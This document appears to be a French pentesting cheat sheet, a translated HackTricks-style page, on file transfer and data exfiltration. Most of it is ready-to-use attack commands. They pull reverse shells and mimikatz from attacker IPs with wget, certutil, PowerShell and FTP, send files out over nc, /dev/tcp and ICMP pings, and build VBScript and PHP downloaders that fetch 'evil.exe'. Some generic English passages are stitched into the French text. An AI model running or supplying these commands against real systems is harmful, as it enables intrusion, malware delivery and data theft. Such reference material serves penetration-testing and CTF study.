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Exfiltration

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Groupe de sécurité Try Hard

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Domaines couramment autorisés pour exfiltrer des informations

Consultez https://lots-project.com/ pour trouver des domaines couramment autorisés qui peuvent être abusés

Copier&Coller Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Téléverser des fichiers

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Serveur HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Serveur FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Serveur FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Serveur FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Client Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali en tant que serveur

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Ou créez un partage smb en utilisant samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Exfiltration

Introduction

Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as using command and control (C2) channels, exfiltrating data over DNS, or leveraging legitimate services like Dropbox for data exfiltration.

Techniques

Command and Control (C2) Channels

C2 channels are commonly used by attackers to exfiltrate data from compromised systems. These channels allow the attacker to maintain control over the compromised system and exfiltrate data without being detected.

DNS Exfiltration

DNS exfiltration involves encoding data within DNS queries or responses to exfiltrate data from a target network. This technique can be used to bypass network security controls and exfiltrate data to an external server controlled by the attacker.

Using Legitimate Services

Attackers can leverage legitimate services like Dropbox, Google Drive, or OneDrive to exfiltrate data from a target system. By using these services, attackers can blend in with normal network traffic and avoid detection by security controls.

Tools and Resources

There are various tools and resources available to facilitate data exfiltration, including custom C2 frameworks, DNS exfiltration tools, and scripts for exfiltrating data using legitimate services. These tools can help attackers exfiltrate data efficiently and evade detection by security measures.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

L'attaquant doit avoir SSHd en cours d'exécution.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Si la victime dispose de SSH, l'attaquant peut monter un répertoire de la victime vers l'attaquant.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Télécharger un fichier depuis la victime

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Télécharger un fichier sur la victime

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Merci à @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un SMTP pour recevoir les données avec python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Par défaut dans XP et 2003 (dans d'autres, il doit être ajouté explicitement lors de l'installation)

Dans Kali, démarrer le serveur TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Serveur TFTP en python :

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

Dans victime, connectez-vous au serveur Kali :

tftp -i <KALI-IP> get nc.exe

PHP

Téléchargez un fichier avec un oneliner PHP :

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Introduction

VBScript is a scripting language that is commonly used for Windows systems. It can be used for various tasks, including exfiltration of data from a compromised system. VBScript can be executed using the cscript.exe or wscript.exe interpreters.

Exfiltration Techniques

Writing to Files

VBScript can write data to files on the compromised system. This can be achieved using the FileSystemObject to create and write to a file.

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("C:\path\to\file.txt", True)
objFile.Write "Data to exfiltrate"
objFile.Close

Sending HTTP Requests

VBScript can also send HTTP requests to exfiltrate data to an external server. This can be done using the MSXML2.ServerXMLHTTP object.

Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objHTTP.Open "POST", "http://www.example.com/endpoint", False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.send "data=exfiltrated_data"

Conclusion

VBScript provides various methods for exfiltrating data from a compromised system, including writing to files and sending HTTP requests. It is important to use these techniques responsibly and ethically.

Attacker> python -m SimpleHTTPServer 80

Victime

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Le programme debug.exe permet non seulement l'inspection des binaires, mais a également la capacité de les reconstruire à partir de l'hexadécimal. Cela signifie qu'en fournissant un hexadécimal d'un binaire, debug.exe peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une limite d'assemblage de fichiers jusqu'à 64 ko en taille.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Ensuite, copiez-collez le texte dans le shell Windows et un fichier appelé nc.exe sera créé.

DNS

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